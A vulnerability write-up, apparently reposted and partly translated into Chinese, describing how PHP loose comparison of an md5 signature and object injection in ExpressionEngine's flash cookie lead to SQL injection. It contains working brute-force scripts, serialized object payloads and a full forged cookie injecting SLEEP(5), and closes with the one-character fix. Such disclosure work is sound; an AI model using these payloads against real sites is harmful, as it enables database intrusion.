Home  >  Article  >  Backend Development  >  A security intrusion using weak types and object injection is shared

A security intrusion using weak types and object injection is shared

*文
*文Original
2017-12-23 10:55:301517browse

Security is the most important issue facing the website online. There is no absolute safety, only constant attack and defense confrontation. Do not trust the data submitted by users is the first purpose. This article shares a security intrusion using weak types and object injection, hoping to give everyone a clearer concept of website security.

Recently, while looking for vulnerabilities in a target, I came across a host running Expression Engine, a CMS platform. This particular application attracted me because when I tried to log into the application using "admin" as the username, the server responded with a cookie that contained PHP serialized data. As we've said before, deserializing user-supplied data can lead to unexpected results; in some cases, even code execution. So, I decided to check it carefully, instead of blindly testing it, first see if I can download the source code of this CMS, use the code to figure out what happened in the process of serializing the data, and then start a local build Copy for testing.

After I had the source code of this CMS, I used the grep command to locate the location where cookies are used, and found the file "./system/ee/legacy/libraries/Session.php" and found that cookies were used in For user session maintenance, this finding is very meaningful. After taking a closer look at Session.php, I found the following method, which is responsible for deserializing serialized data:

  protected function _prep_flashdata()
  {
    if ($cookie = ee()->input->cookie('flash'))
    {
      if (strlen($cookie) > 32)
      {
        $signature = substr($cookie, -32);
        $payload = substr($cookie, 0, -32);
        if (md5($payload.$this->sess_crypt_key) == $signature)
        {
          $this->flashdata = unserialize(stripslashes($payload));
          $this->_age_flashdata();
          return;
        }
      }
    }
    $this->flashdata = array();
  }

Through the code, we can see that in our A series of checks are performed before the cookie is parsed and then deserialized at line 1293. So let's take a look at our cookie first and check to see if we can call "unserialize()":

a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4

The decoded URL is as follows:

a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4

If a flash cookie exists, we load the data into the "$cookie" variable (code at line 1284) and continue execution. Next we check whether the length of the cookie data is greater than 32 (code at line 1286) and continue execution. Now we use "substr()" to get the last 32 characters of the cookie data and store it in the "$signature" variable and then store the rest of the cookie data in "$payload" as follows:

$ php -a
Interactive mode enabled
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print "Signature: $signature\n";
Signature: 3f7d80e10a3d9c0a25c5f56199b067d4
php > print "Payload: $payload\n";
Payload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}
php >

Now in the code at line 1291, we calculate the md5 hash of "$payload.$this->sess_crypt_key" and compare it with what we have shown above The "$signature" provided at the end of the cookie is compared. By quickly looking at the code, I found that the value of "$ this-> sess_crypt_cookie" is passed from the "./system/user/config/config.php" file created during installation:

./system/user/config/config.php:$config['encryption_key'] = '033bc11c2170b83b2ffaaff1323834ac40406b79';

So let's manually define this "$this->sess_crypt_key" as "$salt" and see the md5 hash:

php > $salt = '033bc11c2170b83b2ffaaff1323834ac40406b79';
php > print md5($payload.$salt);
3f7d80e10a3d9c0a25c5f56199b067d4
php >


Make sure the md5 hash value is equal to "$signature". The reason for this check is to ensure that the value of "$payload" (i.e. the serialized data) has not been tampered with. As such, this check is indeed sufficient to prevent such tampering; however, since PHP is a weakly typed language, there are some pitfalls when performing comparisons.

Lose comparison leads to "causing the ship"

Let's look at some loose comparison cases to get a good way to construct the payload:

<?php 
  
$a = 1;
$b = 1;
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>

Output:

$ php steps.php
int(1)
int(1)
a and b are the same
<?php 
  
$a = 1;
$b = 0;
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>

Output:

$ php steps.php
int(1)
int(0)
a and b are NOT the same
<?php 
  
$a = "these are the same";
$b = "these are the same";
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>

Output:

$ php steps.php
string(18) "these are the same"
string(18) "these are the same"
a and b are the same
<?php 
  
$a = "these are NOT the same";
$b = "these are the same";
  
var_dump($a);
var_dump($b);
  
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
  
?>

Output:

$ php steps.php
string(22) "these are NOT the same"
string(18) "these are the same"
a and b are NOT the same


#It seems that PHP is "helpful" in comparison operations and will convert strings to integers during comparison. Finally, now let's see what happens when we compare two strings that look like integers written in scientific notation:

<?php
$a = "0e111111111111111111111111111111";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>

Output:

$ php steps.php
string(32) "0e111111111111111111111111111111"
string(32) "0e222222222222222222222222222222"
a and b are the same


As you can see from the above results, even though the variable "$a" and the variable "$b" are both string types and obviously have different values, use the loose comparison operator will cause the comparison to evaluate to true because "0ex" is always zero when converted to an integer in PHP. This is called Type Juggling.

Weak type comparison——Type Juggling

With this new knowledge, let’s re-examine the check that should prevent us from tampering with the serialized data:

if (md5($payload.$this->sess_crypt_key) == $signature)


##We can control the value of "$payload" and the value of "$signature" here, so if we can find a payload such that "$this->sess_crypt_key" The md5 value becomes a string starting with 0e and ending with all digits, or the MD5 hash value of "$signature" is set to a value starting with 0e and ending with all digits, we can successfully bypass this examine.

To test this idea, I modified some code I found online, I will brute force "md5($payload.$this->sess_crypt_key) until my "tampered" payload appears. Take a look Look at what the original "$payload" looks like:

$ php -a
Interactive mode enabled
php > $cookie = 'a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4';
php > $signature = substr($cookie, -32);
php > $payload = substr($cookie, 0, -32);
php > print_r(unserialize($payload));
Array
(
[:new:username] => admin
[:new:message] => That is the wrong username or password
)
php >


In my new "$payload" variable, the content displayed is "Error username or password" and what I want to display is "taquito".

序列化数组的第一个元素“[:new:username] => admin”似乎是一个可以创建一个随机值的好地方,所以这就是我们的爆破点。

注意:这个PoC是在我本地离线工作,因为我有权访问我自己的实例“$ this-> sess_crypt_key”,如果我们不知道这个值,那么我们就只能在线进行爆破了。

<?php
set_time_limit(0);
define(&#39;HASH_ALGO&#39;, &#39;md5&#39;);
define(&#39;PASSWORD_MAX_LENGTH&#39;, 8);
$charset = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage);
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = &#39;a:2:{s:13:":new:username";s:&#39;.$length.&#39;:"&#39;.$garbage.&#39;";s:12:":new:message";s:7:"taquito";}&#39;;
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {
        echo "Checking passwords with length: $i\n";
        recurse($i, 0, &#39;&#39;);
}
?>

   


当运行上面的代码后,我们得到了一个修改过的“$ payload”的 md5哈希值并且我们的 “$ this-> sess_crypt_key”的实例是以0e开头,并以数字结尾:

$ php poc1.php
Checking passwords with length: 1
Checking passwords with length: 2
Checking passwords with length: 3
Checking passwords with length: 4
Checking passwords with length: 5
a:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758

   


让我们将这个散列值与任何“$ signature”的值(我们所能够提供的)进行比较,该值也以0e开头并以所有数字结尾:

<?php
$a = "0e553592359278167729317779925758";
$b = "0e222222222222222222222222222222";
var_dump($a);
var_dump($b);
if ($a == $b) { print "a and b are the same\n"; }
else { print "a and b are NOT the same\n"; }
?>

Output:

$ php steps.php
string(32) "0e553592359278167729317779925758"
string(32) "0e222222222222222222222222222222"
a and b are the same

   


正如你所看到的,我们已经通过(滥用)Type Juggling成功地修改了原始的“$ payload”以包含我们的新消息“taquito”。

当PHP对象注入与弱类型相遇会得到什么呢?SQLi么?

虽然能够在浏览器中修改显示的消息非常有趣,不过让我们来看看当我们把我们自己的任意数据传递到“unserialize()”后还可以做点什么。 为了节省自己的一些时间,让我们修改一下代码:

if(md5($ payload。$ this-> sess_crypt_key)== $ signature)

修改为:if (1)

上述代码在“./system/ee/legacy/libraries/Session.php”文件中,修改之后,可以在执行“unserialize()”时,我们不必提供有效的签名。

现在,已知的是我们可以控制序列化数组里面“[:new:username] => admin”的值,我们继续看看“./system/ee/legacy/libraries/Session.php”的代码,并注意以下方法:

 function check_password_lockout($username = &#39;&#39;)
 {
   if (ee()->config->item(&#39;password_lockout&#39;) == &#39;n&#39; OR
     ee()->config->item(&#39;password_lockout_interval&#39;) == &#39;&#39;)
   {
     return FALSE;
   }
   $interval = ee()->config->item(&#39;password_lockout_interval&#39;) * 60;
   $lockout = ee()->db->select("COUNT(*) as count")
     ->where(&#39;login_date > &#39;, time() - $interval)
     ->where(&#39;ip_address&#39;, ee()->input->ip_address())
     ->where(&#39;username&#39;, $username)
     ->get(&#39;password_lockout&#39;);
   return ($lockout->row(&#39;count&#39;) >= 4) ? TRUE : FALSE;
 }

   


这个方法没毛病,因为它在数据库中检查了提供的“$ username”是否被锁定为预认证。 因为我们可以控制“$ username”的值,所以我们应该能够在这里注入我们自己的SQL查询语句,从而导致一种SQL注入的形式。这个CMS使用了数据库驱动程序类来与数据库进行交互,但原始的查询语句看起来像这样(我们可以猜的相当接近):

SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > &#39;$interval&#39; AND `ip_address` = &#39;$ip_address&#39; AND `username` = &#39;$username&#39;;

   


修改“$payload”为:

a:2:{s:13:":new:username";s:1:"&#39;";s:12:":new:message";s:7:"taquito";}

   


并将其发送到页面出现了如下错误信息,但由于某些原因,我们什么也没有得到……

“Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line”

   


不是我想要的类型…

经过一番搜索后,我在“./system/ee/legacy/database/DB_driver.php”中看到了以下代码:

 function escape($str)
 {
   if (is_string($str))
   {
     $str = "&#39;".$this->escape_str($str)."&#39;";
   }
   elseif (is_bool($str))
   {
     $str = ($str === FALSE) ? 0 : 1;
   }
   elseif (is_null($str))
   {
     $str = &#39;NULL&#39;;
   }
   return $str;
 }

   


在第527行,我们看到程序对我们提供的值执行了“is_string()”检查,如果它返回了true,我们的值就会被转义。 我们可以通过在函数的开头和结尾放置“var_dump”并检查输出来确认这里到底发生了什么:

前:

string(1) "y"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486399967)
string(11) "192.168.1.5"
string(1) "&#39;"
int(1)

   


后:

string(3) "&#39;y&#39;"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486400275)
string(13) "&#39;192.168.1.5&#39;"
string(4) "&#39;\&#39;&#39;"
int(1)

   


果然,我们可以看到我们的“'”的值已经被转义,现在是“\'”。 幸运的是,对我们来说,我们还有办法。

转义检查只是检查看看“$ str”是一个字符串还是一个布尔值或是null; 如果它匹配不了任何这几个类型,“$ str”将返回非转义的值。 这意味着如果我们提供一个“对象”,那么我们应该能够绕过这个检查。 但是,这也意味着接下来我们需要搜索一个我们可以使用的对象。

自动加载给了我希望!

通常,当我们寻找可以利用unserialize的类时,我们通常使用魔术方法(如“__wakeup”或“__destruct”)来寻找类,但是有时候应用程序实际上会使用自动加载器。 自动加载背后的一般想法是,当一个对象被创建后,PHP就会检查它是否知道该类的任何东西,如果不是,它就会自动加载这个对象。 对我们来说,这意味着我们不必依赖包含“__wakeup”或“__destruct”方法的类。 我们只需要找到一个调用我们控制的“__toString”的类,因为应用程序会尝试将 “$ username”变量作为字符串使用。

寻找如这个文件中所包含的类:

“./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php”:

   


<?php
  namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token;
  class Variable extends Token {
    protected $has_value = FALSE;
    public function __construct($lexeme)
    {
      parent::__construct(&#39;VARIABLE&#39;, $lexeme);
    }
    public function canEvaluate()
    {
      return $this->has_value;
    }
    public function setValue($value)
    {
      if (is_string($value))
      {
        $value = str_replace(
          array(&#39;{&#39;, &#39;}&#39;),
          array(&#39;{&#39;, &#39;}&#39;),
          $value
        );
      }
      $this->value = $value;
      $this->has_value = TRUE;
    }
    public function value()
    {
      // in this case the parent assumption is wrong
      // our value is definitely *not* the template string
      if ( ! $this->has_value)
      {
        return NULL;
      }
      return $this->value;
    }
    public function __toString()
    {
      if ($this->has_value)
      {
        return var_export($this->value, TRUE);
      }
      return $this->lexeme;
    }
  }
  // EOF

   


这个类看起来非常完美! 我们可以看到对象使用参数“$lexeme”调用了方法“__construct”,然后调用“__toString”,将参数“$ lexeme”作为字符串返回。 这正是我们正在寻找的类。 让我们组合起来快速为我们创建序列化对象对应的POC:

<?php
namespace EllisLab\ExpressionEngine\Library\Parser\Conditional\Token;
class Variable {
        public $lexeme = FALSE;
}
$x = new Variable();
$x->lexeme = "&#39;";
echo serialize($x)."\n";
?>
Output:
$ php poc.php
O:67:"EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable":1:{s:6:"lexeme";s:1:"&#39;";}

   


经过几个小时的试验和错误尝试,最终得出一个结论:转义在搞鬼。 当我们将我们的对象添加到我们的数组中后,我们需要修改上面的对象(注意额外的斜线):

a:1:{s:13:":new:username";O:67:"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\Variable":1:{s:6:"lexeme";s:1:"&#39;";}}

   


我们在代码之前插入用于调试的“var_dump”,然后发送上面的payload,显示的信息如下:

string(3) "&#39;y&#39;"
int(1)
int(1)
int(1)
int(0)
int(1)
int(3)
int(0)
int(1)
int(1486407246)
string(13) "&#39;192.168.1.5&#39;"
object(EllisLab\ExpressionEngine\Library\Parser\Conditional\Token\Variable)#177 (6) {
  ["has_value":protected]=>
  bool(false)
  ["type"]=>
  NULL
  ["lexeme"]=>
  string(1) "&#39;"
  ["context"]=>
  NULL
  ["lineno"]=>
  NULL
  ["value":protected]=>
  NULL
}

   


注意,现在我们有了一个“对象”而不是一个“字符串”,“lexeme”的值是我们的非转义“'”的值!可以在页面中更进一步来确认:

<h1>Exception Caught</h1>
<h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#39;&#39;&#39; at line 5:
SELECT COUNT(*) as count
FROM (`exp_password_lockout`)
WHERE `login_date` &gt;  1486407246
AND `ip_address` =  &#39;192.168.1.5&#39;
AND `username` =  &#39;</h2>
mysqli_connection.php:122

   


Awww! 我们已经成功地通过PHP对象注入实现了SQL注入,从而将我们自己的数据注入到了SQL查询语句中!

PoC!

最后,我创建了一个PoC来将Sleep(5)注入到数据库。 最让我头疼的就是应用程序中计算“md5()”时的反斜杠的数量与成功执行“unserialize()”需要的斜杠数量, 不过,一旦发现解决办法,就可以导致以下结果:

<?php
set_time_limit(0);
define(&#39;HASH_ALGO&#39;, &#39;md5&#39;);
define(&#39;garbage_MAX_LENGTH&#39;, 8);
$charset = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;;
$str_length = strlen($charset);
function check($garbage)
{
    $length = strlen($garbage) + 26;
    $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";
    $payload = &#39;a:1:{s:+13:":new:username";O:67:"EllisLab\\\ExpressionEngine\\\Library\\\Parser\\\Conditional\\\Token\\\Variable":1:{s:+6:"lexeme";s:+&#39;.$length.&#39;:"1 UNION SELECT SLEEP(5) # &#39;.$garbage.&#39;";}}&#39;;
    #echo "Testing: " . $payload . "\n";
        $hash = md5($payload.$salt);
        $pre = "0e";
    if (substr($hash, 0, 2) === $pre) {
        if (is_numeric($hash)) {
          echo "$payload - $hash\n";
        }
      }
}
function recurse($width, $position, $base_string)
{
        global $charset, $str_length;
        for ($i = 0; $i < $str_length; ++$i) {
                if ($position  < $width - 1) {
                        recurse($width, $position + 1, $base_string . $charset[$i]);
                }
                check($base_string . $charset[$i]);
        }
}
for ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) {
        echo "Checking garbages with length: $i\n";
        recurse($i, 0, &#39;&#39;);
}
?>

Output:

$ php poc2.php
a:1:{s:+13:":new:username";O:67:"EllisLab\\ExpressionEngine\\Library\\Parser\\Conditional\\Token\\Variable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821

   


以及我们发送到服务器的payload(再次注意那些额外的斜杠):

Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLab\\\\\ExpressionEngine\\\\\Library\\\\\Parser\\\\\Conditional\\\\\Token\\\\\Variable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821

   


五秒后我们就得到了服务器的响应。

修复方案!

这种类型的漏洞修复真的可以归结为一个“=”,将:if (md5($payload.$this->sess_crypt_key) == $signature)替换为:if (md5($payload.$this->sess_crypt_key) === $signature)

除此之外,不要“unserialize()”用户提供的数据!

相关推荐:

PHPer必知:6个常见的PHP安全性攻击!

php 安全过滤函数代码_PHP教程

php 安全的URL字符串base64编码和解码实例代码

The above is the detailed content of A security intrusion using weak types and object injection is shared. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn